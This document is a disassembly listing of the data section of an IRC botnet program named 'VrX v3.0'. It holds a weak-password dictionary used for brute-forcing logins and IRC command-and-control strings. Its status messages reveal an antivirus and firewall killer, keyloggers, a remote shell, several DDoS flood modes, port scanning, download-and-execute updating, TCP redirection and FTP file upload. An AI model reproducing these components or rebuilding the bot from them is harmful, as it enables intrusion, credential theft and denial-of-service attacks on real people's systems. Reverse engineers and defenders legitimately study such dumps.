aKatie		db 'katie',0            ; DATA XREF: ___:004293FCo
		align 10h
aKate		db 'kate',0             ; DATA XREF: ___:004293F4o
		align 4
aGeorge		db 'george',0           ; DATA XREF: ___:004293F0o
		align 10h
aEric		db 'eric',0             ; DATA XREF: ___:004293ECo
		align 4
aChris		db 'chris',0            ; DATA XREF: ___:004293E8o
		align 10h
aIan		db 'ian',0              ; DATA XREF: ___:004293E4o
aNeil		db 'neil',0             ; DATA XREF: ___:004293E0o
		align 4
aLee		db 'lee',0              ; DATA XREF: ___:004293DCo
aBrian		db 'brian',0            ; DATA XREF: ___:004293D8o
		align 4
aSusan		db 'susan',0            ; DATA XREF: ___:004293D0o
		align 10h
aSue		db 'sue',0              ; DATA XREF: ___:004293CCo
aSam		db 'sam',0              ; DATA XREF: ___:004293C8o
aLuke		db 'luke',0             ; DATA XREF: ___:004293C4o
		align 10h
aPeter		db 'peter',0            ; DATA XREF: ___:004293C0o
					; ___:004293D4o
		align 4
aJohn		db 'john',0             ; DATA XREF: ___:004293BCo
		align 10h
aMike		db 'mike',0             ; DATA XREF: ___:004293B8o
		align 4
aBill		db 'bill',0             ; DATA XREF: ___:004293B4o
		align 10h
aFred		db 'fred',0             ; DATA XREF: ___:004293B0o
		align 4
aJoe		db 'joe',0              ; DATA XREF: ___:004293ACo
aJen		db 'jen',0              ; DATA XREF: ___:004293A8o
aBob		db 'bob',0              ; DATA XREF: ___:004293A4o
					; ___:004293F8o
aQwe		db 'qwe',0              ; DATA XREF: ___:004293A0o
aZxc		db 'zxc',0              ; DATA XREF: ___:0042939Co
aAsd		db 'asd',0              ; DATA XREF: ___:00429398o
aQaz		db 'qaz',0              ; DATA XREF: ___:00429394o
aWin2000	db 'win2000',0          ; DATA XREF: ___:00429390o
aWinnt		db 'winnt',0            ; DATA XREF: ___:0042938Co
		align 4
aWinxp		db 'winxp',0            ; DATA XREF: ___:00429388o
		align 4
aWin2k		db 'win2k',0            ; DATA XREF: ___:00429384o
		align 4
aWin98		db 'win98',0            ; DATA XREF: ___:00429380o
		align 4
aWindows	db 'windows',0          ; DATA XREF: ___:0042937Co
aOeminstall	db 'oeminstall',0       ; DATA XREF: ___:00429378o
		align 10h
aOemuser	db 'oemuser',0          ; DATA XREF: ___:00429374o
aOem		db 'oem',0              ; DATA XREF: ___:00429370o
aUser		db 'user',0             ; DATA XREF: sub_401ACD+45CFo
					; ___:0042936Co
		align 4
aHomeuser	db 'homeuser',0         ; DATA XREF: ___:00429368o
		align 10h
aHome		db 'home',0             ; DATA XREF: ___:00429364o
		align 4
aAccounting	db 'accounting',0       ; DATA XREF: ___:00429360o
		align 4
aAccounts	db 'accounts',0         ; DATA XREF: ___:0042935Co
		align 10h
aInternet	db 'internet',0         ; DATA XREF: ___:00429358o
					; ___:004294B4o
		align 4
aWww		db 'www',0              ; DATA XREF: ___:00429354o
aWeb		db 'web',0              ; DATA XREF: sub_401ACD+7283o
					; ___:00429350o
aOutlook	db 'outlook',0          ; DATA XREF: ___:0042934Co
aMail		db 'mail',0             ; DATA XREF: ___:00429348o
		align 4
aQwerty		db 'qwerty',0           ; DATA XREF: ___:00429344o
		align 4
aNull_1		db 'null',0             ; DATA XREF: ___:00429340o
		align 4
aServer		db 'server',0           ; DATA XREF: sub_401ACD+3E8Bo
					; ___:00429338o
		align 4
aSystem		db 'system',0           ; DATA XREF: ___:00429334o
		align 4
aChangeme	db 'changeme',0         ; DATA XREF: ___:0042932Co
		align 10h
aLinux		db 'linux',0            ; DATA XREF: ___:00429328o
		align 4
aUnix		db 'unix',0             ; DATA XREF: ___:00429324o
		align 10h
aDemo		db 'demo',0             ; DATA XREF: ___:00429320o
		align 4
aNone		db 'none',0             ; DATA XREF: ___:0042931Co
		align 10h
aTest		db 'test',0             ; DATA XREF: ___:00429314o
		align 4
a2004		db '2004',0             ; DATA XREF: ___:00429310o
		align 10h
a2003		db '2003',0             ; DATA XREF: sub_41AF8F+BAo
					; ___:0042930Co
		align 4
a2002		db '2002',0             ; DATA XREF: ___:00429308o
		align 10h
a2001		db '2001',0             ; DATA XREF: ___:00429304o
		align 4
a2000		db '2000',0             ; DATA XREF: ___:00429300o
		align 10h
a1234567890	db '1234567890',0       ; DATA XREF: ___:004292FCo
		align 4
a123456789	db '123456789',0        ; DATA XREF: ___:004292F8o
		align 4
a12345678	db '12345678',0         ; DATA XREF: ___:004292F4o
		align 4
a1234567	db '1234567',0          ; DATA XREF: ___:004292F0o
a123456		db '123456',0           ; DATA XREF: ___:004292ECo
		align 4
a12345		db '12345',0            ; DATA XREF: ___:004292E8o
		align 4
a1234		db '1234',0             ; DATA XREF: ___:004292E4o
		align 4
a123		db '123',0              ; DATA XREF: ___:004292E0o
a12		db '12',0               ; DATA XREF: ___:004292DCo
		align 4
a1:					; DATA XREF: ___:0040AFC7o
					; ___:004292D8o
		unicode	0, <1>,0
a007		db '007',0              ; DATA XREF: ___:004292D4o
aPwd		db 'pwd',0              ; DATA XREF: ___:004292D0o
aPass		db 'pass',0             ; DATA XREF: ___:004292CCo
		align 10h
aPass1234	db 'pass1234',0         ; DATA XREF: ___:004292C8o
		align 4
aPasswd		db 'passwd',0           ; DATA XREF: ___:004292C4o
		align 4
aPassword	db 'password',0         ; DATA XREF: ___:004292C0o
		align 10h
aPassword1	db 'password1',0        ; DATA XREF: ___:004292BCo
		align 4
aAdm		db 'adm',0              ; DATA XREF: ___:004292B8o
aDb2		db 'db2',0              ; DATA XREF: ___:00429460o
aOracle		db 'oracle',0           ; DATA XREF: ___:00429478o
		align 4
aDba		db 'dba',0
aDatabase	db 'database',0         ; DATA XREF: ___:00429440o
		align 4
aDefault	db 'default',0          ; DATA XREF: ___:00429330o
aGuest_0	db 'guest',0            ; DATA XREF: ___:00429318o
		align 4
aWwwadmin	db 'wwwadmin',0
		align 4
aTeacher	db 'teacher',0          ; DATA XREF: ___:004294C0o
aStudent	db 'student',0          ; DATA XREF: ___:004294BCo
aOwner		db 'owner',0
		align 10h
aComputer	db 'computer',0
		align 4
aRoot		db 'root',0             ; DATA XREF: ___:0042933Co
		align 4
aStaff		db 'staff',0            ; DATA XREF: ___:004294C4o
		align 4
aAdmin		db 'admin',0            ; DATA XREF: ___:004292B4o
		align 4
aAdmins		db 'admins',0           ; DATA XREF: ___:004292B0o
		align 4
aAdministrat	db 'administrat',0      ; DATA XREF: ___:004292ACo
aAdministrateur	db 'administrateur',0   ; DATA XREF: ___:004292A8o
		align 4
aAdministrador	db 'administrador',0    ; DATA XREF: ___:004292A4o
		align 4
aAdministrato_0	db 'administrator',0    ; DATA XREF: ___:004292A0o
		align 4
aMircV6_21Khale	db 'mIRC v6.21 Khaled Mardam-Bey',0 ; DATA XREF: ___:0042916Co
		align 4
aMircV6_20Khale	db 'mIRC v6.20 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429168o
		align 4
aMircV6_17Khale	db 'mIRC v6.17 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429164o
		align 4
aMircV6_16Khale	db 'mIRC v6.16 Khaled Mardam-Bey',0 ; DATA XREF: ___:off_429160o
		align 4
a@admin_com	db '*@admin.com',0      ; DATA XREF: ___:off_42915Co
dword_4299D4	dd 234032Dh, 6E656469h,	2036474h ; DATA	XREF: ___:0040168Co
aFailedToStartS	db '- Failed to start server, error: <%d>.',0
		align 4
dword_429A08	dd 234032Dh, 6E656469h,	2036474h ; DATA	XREF: ___:00401641o
aServerRunningO	db '- Server running on Port: 113.',0
		align 4
unk_429A34	db  2Dh	; -		; DATA XREF: ___:00401614o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 3, 2, 2Dh
aFailedToStartA	db ' Failed to start AV/FW killer thread, error: <%d>.',0
		align 4
unk_429A74	db  2Dh	; -		; DATA XREF: ___:004015C3o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 3, 2, 2Dh
aAvFwKillerActi	db ' AV/FW Killer active.',0
		align 4
dword_429A98	dd 234032Dh, 6E69616Dh,	202D0203h, 20746F42h, 72617473h
					; DATA XREF: ___:00401585o
		dd 2E646574h, 0
dword_429AB4	dd 25207325h, 25222064h, 2273h ; DATA XREF: ___:004014B0o
dword_429AC0	dd 255C7325h, 73h	; DATA XREF: ___:004013AAo
dword_429AC8	dd 73257325h, 0		; DATA XREF: ___:0040132Eo
					; sub_4100B4+EAo ...
unk_429AD0	db    3			; DATA XREF: sub_4017ED+F2o
a81VrxConnected	db '8,1-VrX- Connected to %s.',0
		align 4
aNickSUserS00S	db 'NICK %s',0Dh,0Ah    ; DATA XREF: sub_401955+62o
		db 'USER %s 0 0 :%s',0Dh,0Ah,0
		align 4
aPassS		db 'PASS %s',0Dh,0Ah,0  ; DATA XREF: sub_401955+35o
		align 4
aModeSS_0	db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7D25o
		align 4
aUserhostS	db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7D0Do
		align 4
unk_429B34	db    3			; DATA XREF: sub_401ACD+7CF9o
a81VrxUserSLogg	db '8,1-VrX- User: %s logged in.',0
		align 4
unk_429B54	db    3			; DATA XREF: sub_401ACD+7CDCo
a81VrxPasswordA	db '8,1-VrX- Password accepted.',0
		align 4
unk_429B74	db    3			; DATA XREF: sub_401ACD+7C7Bo
a81VrxFailedHos	db '8,1-VrX- *Failed host auth by: (%s!%s).',0
		align 10h
aNoticeSHostAut	db 'NOTICE %s :Host Auth failed (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_401ACD+7C52o
		align 4
unk_429BC8	db    3			; DATA XREF: sub_401ACD+7C14o
a81VrxFailedPas	db '8,1-VrX- *Failed pass auth by: (%s!%s).',0
		align 4
aNoticeSYourAtt	db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0
					; DATA XREF: sub_401ACD+7C02o
					; sub_401ACD+7C69o
		align 10h
aNoticeSPassAut	db 'NOTICE %s :Pass auth failed (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_401ACD+7BEBo
		align 4
asc_429C48:				; DATA XREF: sub_401ACD+7BBBo
		unicode	0, <~>,0
unk_429C4C	db    3			; DATA XREF: sub_401ACD+7B6Bo
a81VrxRandomNic	db '8,1-VrX- Random nick change: %s',0
		align 10h
unk_429C70	db    3			; DATA XREF: sub_401ACD+7AFDo
a81VrxReconnect	db '8,1-VrX- Reconnecting in %s seconds',0
		align 4
unk_429C98	db    3			; DATA XREF: sub_401ACD+7AB9o
a81VrxReconne_0	db '8,1-VrX- Reconnecting in %s ms',0
unk_429CB8	db    3			; DATA XREF: sub_401ACD+7A99o
a81VrxNickChang	db '8,1-VrX- Nick changed to: ',27h,'%s',27h,'.',0
		align 4
unk_429CDC	db    3			; DATA XREF: sub_401ACD+7A7Do
a81VrxJoinedCha	db '8,1-VrX- Joined channel: ',27h,'%s',27h,'.',0
unk_429CFC	db    3			; DATA XREF: sub_401ACD+7A5Ao
a81VrxPartedCha	db '8,1-VrX- Parted channel: ',27h,'%s',27h,'.',0
unk_429D1C	db    3			; DATA XREF: sub_401ACD+7A3Eo
a81VrxIrcRawS_	db '8,1-VrX- IRC Raw: %s.',0
		align 4
unk_429D34	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40948Ao
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aFailedToKillTh	db '- Failed to kill thread: %s.',0
		align 10h
unk_429D60	db  2Dh	; -		; DATA XREF: sub_401ACD+79B6o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aKilledThreadS_	db '- Killed thread: %s.',0
		align 4
unk_429D84	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40943Do
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aNoActiveThread	db '- No active threads found.',0
unk_429DAC	db  2Dh	; -		; DATA XREF: sub_401ACD+7966o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aStoppedDThread	db '- Stopped: %d thread(s).',0
		align 4
aAll		db 'all',0              ; DATA XREF: sub_401ACD+794Co
unk_429DD8	db    3			; DATA XREF: sub_401ACD+7848o
a81VrxPrefixCha	db '8,1-VrX- Prefix changed to: ',27h,'%c',27h,'.',0
		align 4
unk_429DFC	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_409300o
		db 3, 34h, 2
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aCouldnTOpenFil	db ' Couldn',27h,'t open file: %s',0
unk_429E20	db  2Dh	; -		; DATA XREF: sub_401ACD+7829o
		db 3, 34h, 2
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aFileOpenedS	db ' File opened: %s',0
		align 10h
unk_429E40	db    3			; DATA XREF: sub_401ACD+7809o
a81VrxServerCha	db '8,1-VrX- Server changed to: ',27h,'%s',27h,'.',0
		align 4
unk_429E64	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4092BDo
		db 3, 34h, 2
		db  64h	; d
		db 6Eh,	73h, 2
		db    3
aCouldnTResol_0	db '- Couldn',27h,'t resolve hostname.',0
		align 4
unk_429E8C	db  2Dh	; -		; DATA XREF: sub_401ACD+77C2o
		db 3, 34h, 2
		db  64h	; d
		db 6Eh,	73h, 2
		db    3
aLookupSS_	db '- Lookup: %s -> %s.',0
		align 4
unk_429EAC	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_409255o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToTermin	db ' Failed to terminate process: %s',0
		align 4
unk_429EDC	db  2Dh	; -		; DATA XREF: sub_401ACD+777Eo
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessKilledS	db ' Process killed: %s',0
unk_429EFC	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4091F5o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToTerm_0	db ' Failed to terminate process ID: %s',0
unk_429F2C	db  2Dh	; -		; DATA XREF: sub_401ACD+7721o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessKilledI	db ' Process killed ID: %s',0
		align 10h
dword_429F50	dd 234032Dh, 656C6966h,	202D0302h, 656C6544h, 20646574h
					; DATA XREF: sub_401ACD+76DFo
		dd 27732527h, 2Eh
unk_429F6C	db  2Dh	; -		; DATA XREF: sub_401ACD+7667o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aSendFileSUserS	db '- Send File: %s, User: %s.',0
dword_429F90	dd 234032Dh, 656C6966h,	202D0302h, 7473694Ch, 7325203Ah
					; DATA XREF: sub_401ACD+75ECo
		dd 0
unk_429FA8	db  2Dh	; -		; DATA XREF: sub_401ACD+75BFo
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToStartC	db ' Failed to start connection thread, error: <%d>.',0
		align 4
dword_429FE8	dd 234032Dh, 69736976h,	2D030274h, 4C525520h, 7325203Ah
					; DATA XREF: sub_401ACD+7550o
		dd 2Eh
dword_42A000	dd 234032Dh, 6372696Dh,	202D0302h, 6D6D6F43h, 20646E61h
					; DATA XREF: sub_401ACD:loc_408F9Do
		dd 746E6573h, 2Eh
unk_42A01C	db  2Dh	; -		; DATA XREF: sub_401ACD+74C9o
		db 3, 34h, 2
		db  6Dh	; m
		db 69h,	72h, 63h
		db    2
		db 3, 2Dh, 20h
aClientNotOpen_	db 'Client not open.',0
		align 4
dword_42A03C	dd 234032Dh, 2646D63h, 43202D03h, 616D6D6Fh, 3A73646Eh
					; DATA XREF: sub_401ACD+748Fo
		dd 732520h
unk_42A054	db  2Dh	; -		; DATA XREF: sub_401ACD+7481o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aErrorSendingTo	db '- Error sending to remote shell.',0
		align 10h
asc_42A080:				; DATA XREF: sub_401ACD+7469o
					; sub_4100B4+FBo ...
		dw 0Ah
		unicode	0, <>,0
unk_42A084	db    3			; DATA XREF: sub_401ACD+7441o
a81VrxReadFileF	db '8,1-VrX- Read file failed: %s',0
		align 4
unk_42A0A4	db    3			; DATA XREF: sub_401ACD+7436o
a81VrxReadFileC	db '8,1-VrX- Read file complete: %s',0
		align 4
aUnknowModeType	db 'Unknow mode type.',0 ; DATA XREF: sub_401ACD:loc_408E97o
		align 4
aFailedToStartL	db 'Failed to start logging thread, error: <%d>.',0
					; DATA XREF: sub_401ACD+73B4o
		align 4
aNormalKeyLogge	db 'Normal key logger active.',0 ; DATA XREF: sub_401ACD+733Do
		align 4
aNormal_0	db 'normal',0           ; DATA XREF: sub_401ACD+72EDo
		align 10h
aKeylogerAlread	db 'Keyloger Already running.',0 ; DATA XREF: sub_401ACD+7263o
		align 4
aVrxV3_0SitesKe	db 'VrX v3.0 sites keylogger active.',0 ; DATA XREF: sub_401ACD+7236o
					; sub_401ACD+72E5o
		align 10h
aKeylog_0	db 'Keylog',0           ; DATA XREF: sub_401ACD+7231o
		align 4
unk_42A178	db    3			; DATA XREF: sub_401ACD+7216o
a81VrxGethostS_	db '8,1-VrX- Gethost: %s.',0
		align 10h
unk_42A190	db    3			; DATA XREF: sub_401ACD+71D2o
a81VrxUnableToE	db '8,1-VrX- Unable to extract Gethost command.',0
		align 10h
unk_42A1C0	db    3			; DATA XREF: sub_401ACD+71B6o
a81VrxGethostSC	db '8,1-VrX- Gethost: %s, Command: %s',0
		align 4
unk_42A1E4	db    3			; DATA XREF: sub_401ACD+7119o
a81VrxAliasAdde	db '8,1-VrX- Alias added: %s.',0
		align 10h
unk_42A200	db    3			; DATA XREF: sub_401ACD+70E7o
a81VrxPrivmsgSS	db '8,1-VrX- Privmsg: %s: %s.',0
		align 4
unk_42A21C	db    3			; DATA XREF: sub_401ACD+7096o
a81VrxActionSS_	db '8,1-VrX- Action: %s: %s.',0
		align 4
dword_42A238	dd 312C3803h, 5872562Dh, 7943202Dh, 2E656C63h, 0
					; DATA XREF: sub_401ACD+7028o
dword_42A24C	dd 54524150h, 0D732520h, 0Ah ; DATA XREF: sub_401ACD+6FEEo
					; sub_401ACD+7A49o
unk_42A258	db    3			; DATA XREF: sub_401ACD+6FC7o
a81VrxModeChang	db '8,1-VrX- Mode change: %s',0
		align 4
aModeS		db 'MODE %s',0Dh,0Ah,0  ; DATA XREF: sub_401ACD+6FB6o
		align 10h
dword_42A280	dd 234032Dh, 6E6F6C63h,	2D030265h, 77615220h, 73252820h
					; DATA XREF: sub_401ACD+6F8Do
		dd 25203A29h, 73h
dword_42A29C	dd 234032Dh, 6E6F6C63h,	2D030265h, 646F4D20h, 25282065h
					; DATA XREF: sub_401ACD+6F1Fo
		dd 203A2973h, 7325h
dword_42A2B8	dd 45444F4Dh, 732520h	; DATA XREF: sub_401ACD+6EC7o
dword_42A2C0	dd 234032Dh, 6E6F6C63h,	2D030265h, 63694E20h, 2528206Bh
					; DATA XREF: sub_401ACD+6E95o
		dd 203A2973h, 7325h
dword_42A2DC	dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_401ACD+6E1Do
dword_42A2E8	dd 0A0D7325h, 0		; DATA XREF: sub_401ACD+6DEBo
					; sub_401ACD+6E71o ...
dword_42A2F0	dd 54524150h, 732520h	; DATA XREF: sub_401ACD+6DB6o
dword_42A2F8	dd 234032Dh, 67726174h,	3023361h ; DATA	XREF: sub_401ACD+6D79o
aFailedToStartF	db '- Failed to start flood thread, error: <%d>.',0
		align 4
dword_42A334	dd 234032Dh, 67726174h,	3023361h ; DATA	XREF: sub_401ACD+6D0Eo
aFloodingSForSS	db '- Flooding %s for %s seconds.',0
		align 10h
unk_42A360	db  2Dh	; -		; DATA XREF: sub_401ACD+6CA8o
		db 3, 34h, 2
		db  74h	; t
		db 73h,	75h, 6Eh
		db  61h	; a
		db 6Dh,	69h, 2
		db    3
aFailedToStar_0	db '- Failed to start flood thread, error: <%d>.',0
		align 4
unk_42A39C	db  2Dh	; -		; DATA XREF: sub_401ACD+6C39o
		db 3, 34h, 2
		db  74h	; t
		db 73h,	75h, 6Eh
		db  61h	; a
		db 6Dh,	69h, 2
		db    3
aTsunamiHeading	db '- Tsunami heading for %s (%s seconds).',0
unk_42A3D0	db    3			; DATA XREF: sub_401ACD+6B9Do
a81VrxRepeatNot	db '8,1-VrX- Repeat not allowed in command line: %s',0
		align 4
unk_42A404	db    3			; DATA XREF: sub_401ACD+6B60o
a81VrxRepeatS	db '8,1-VrX- Repeat: %s',0
		align 4
dword_42A41C	dd 312C3803h, 5872562Dh, 6544202Dh, 2E79616Ch, 0
					; DATA XREF: sub_401ACD:loc_408591o
dword_42A430	dd 25207325h, 73252073h, 73253A20h, 0 ;	DATA XREF: sub_401ACD+6A84o
					; sub_401ACD+6B37o ...
dword_42A440	dd 234032Dh, 61647075h,	3026574h ; DATA	XREF: sub_401ACD:loc_4084F0o
aBotIdMustBeDif	db '- Bot ID must be different than current running process.',0
		align 4
dword_42A488	dd 234032Dh, 61647075h,	3026574h ; DATA	XREF: sub_401ACD+6A19o
aFailedToStartD	db '- Failed to start download thread, error: <%d>.',0
dword_42A4C4	dd 234032Dh, 61526159h,	3022162h ; DATA	XREF: sub_401ACD+69AAo
aDownloadingUpd	db '- Downloading update from: %s.',0
		align 10h
aSS_exe		db '%s%s.exe',0         ; DATA XREF: sub_401ACD+6904o
		align 4
dword_42A4FC	dd 234032Dh, 63657865h,	202D0302h, 6D6D6F43h, 73646E61h
					; DATA XREF: sub_401ACD+68A2o
		dd 7325203Ah, 0
unk_42A518	db  2Dh	; -		; DATA XREF: sub_401ACD+6897o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	65h, 63h
		db    2
		db 3, 2Dh, 20h
aCouldnTExecute	db 'Couldn',27h,'t execute file.',0
		align 4
unk_42A53C	db  2Dh	; -		; DATA XREF: sub_401ACD+67FDo
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_1	db 'Failed to start search thread, error: <%d>.',0
unk_42A578	db  2Dh	; -		; DATA XREF: sub_401ACD+6787o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aSearchingForFi	db 'Searching for file: %s in: %s.',0
		align 4
dword_42A5A8	dd 234032Dh, 656C6966h,	2D0302h	; DATA XREF: sub_401ACD:loc_40818Do
					; sub_401ACD:loc_4091C7o
unk_42A5B4	db  2Dh	; -		; DATA XREF: sub_401ACD+66ABo
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aRenameSToS_	db 'Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
		align 4
unk_42A5D8	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408156o
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aInvalidFloodTi	db 'Invalid flood time must be greater than 0.',0
		align 10h
unk_42A610	db  2Dh	; -		; DATA XREF: sub_401ACD+667Fo
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_2	db 'Failed to start flood thread, error: <%d>.',0
		align 4
unk_42A648	db  2Dh	; -		; DATA XREF: sub_401ACD+660Fo
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aFloodingSFor_0	db 'Flooding: (%s) for %s seconds.',0
		align 4
dword_42A674	dd 234032Dh, 6E6F6C63h,	3027365h ; DATA	XREF: sub_401ACD+658Co
aFailedToStar_3	db '- Failed to start clone thread, error: <%d>.',0
		align 10h
dword_42A6B0	dd 234032Dh, 6E6F6C63h,	3027365h ; DATA	XREF: sub_401ACD+651Do
aCreatedOnSDInC	db '- Created on %s:%d, in channel %s.',0
		align 10h
unk_42A6E0	db  2Dh	; -		; DATA XREF: sub_401ACD+64A4o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_4	db 'Failed to start flood thread, error: <%d>.',0
		align 4
unk_42A718	db  2Dh	; -		; DATA XREF: sub_401ACD+6435o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aFloodingSSForS	db 'Flooding: (%s:%s) for %s seconds.',0
		align 4
unk_42A748	db  2Dh	; -		; DATA XREF: sub_401ACD+63ABo
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aFailedToStar_5	db '- Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42A780	db  2Dh	; -		; DATA XREF: sub_401ACD+633Co
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aFloodingSSFo_0	db '- Flooding: (%s:%s) for %s seconds.',0
		align 10h
unk_42A7B0	db  2Dh	; -		; DATA XREF: sub_401ACD+62C3o
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_6	db 'Failed to start flood thread, error: <%d>.',0
		align 4
unk_42A7E8	db  2Dh	; -		; DATA XREF: sub_401ACD+6254o
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aFloodingSFor_1	db 'Flooding %s for %s seconds using delay %s ms.',0
		align 4
unk_42A824	db  2Dh	; -		; DATA XREF: sub_401ACD+61DBo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aFailedToStartT	db 'Failed to start transfer thread, error: <%d>.',0
		align 4
dword_42A864	dd 234032Dh, 61526159h,	3022162h ; DATA	XREF: sub_401ACD+616Co
aDownloadingUrl	db '- Downloading URL: %s to: %s.',0
		align 10h
unk_42A890	db  2Dh	; -		; DATA XREF: sub_401ACD+609Do
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aFailedToStartR	db 'Failed to start redirection thread, error: <%d>.',0
		align 4
unk_42A8D4	db  2Dh	; -		; DATA XREF: sub_401ACD+602Eo
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aTcpRedirectCre	db 'TCP redirect created from: %s:%d to: %s:%d.',0
unk_42A910	db    3			; DATA XREF: sub_401ACD+5F31o
a81Sc@nPortScan	db '8,1-SC@N- Port scan started: %s:%d with delay: %d(ms).',0
aSSS_1		db '[%s] <%s> %s',0     ; DATA XREF: sub_401ACD+5E85o
		align 4
aSSS_2		db '[%s] * %s %s',0     ; DATA XREF: sub_401ACD+5DB0o
		align 4
dword_42A968	dd 54434101h, 204E4F49h, 17325h	; DATA XREF: sub_401ACD+5D22o
					; sub_401ACD+7074o
unk_42A974	db  2Dh	; -		; DATA XREF: sub_401ACD+5CC0o
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_7	db 'Failed to start scan thread, error: <%d>.',0
		align 10h
unk_42A9B0	db  2Dh	; -		; DATA XREF: sub_401ACD+5C51o
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPortScanStarte	db 'Port scan started: %s with delay: %d(ms) checking range %d-%d.',0
		align 10h
unk_42AA00	db    3			; DATA XREF: sub_401ACD+5BBAo
					; sub_401ACD+5FA0o
a81Sc@nFailedTo	db '8,1-SC@N- Failed to start scan thread, error: <%d>.',0
		align 4
unk_42AA38	db    3			; DATA XREF: sub_401ACD+5B4Bo
a81Sc@nSPortSca	db '8,1-SC@N- %s Port Scan started on %s:%d with a delay of %d second'
		db 's for %d minutes using %d threads.',0
		align 10h
unk_42AAA0	db    3			; DATA XREF: sub_401ACD+59D5o
a81Sc@nFailed_0	db '8,1-SC@N- Failed to start scan, no IP specified.',0
		align 4
unk_42AAD4	db    3			; DATA XREF: sub_401ACD+5978o
a81Sc@nFailed_1	db '8,1-SC@N- Failed to start scan, port is invalid.',0
		align 4
unk_42AB08	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_407320o
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aUploadingFileS	db '- Uploading file: %s to: %s failed.',0
		align 4
unk_42AB38	db  2Dh	; -		; DATA XREF: sub_401ACD+584Co
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aUploadingFil_0	db '- Uploading file: %s to: %s',0
		align 10h
aFtp_exe	db 'ftp.exe',0          ; DATA XREF: sub_401ACD+5835o
aSS_1		db '-s:%s',0            ; DATA XREF: sub_401ACD+581Eo
		align 10h
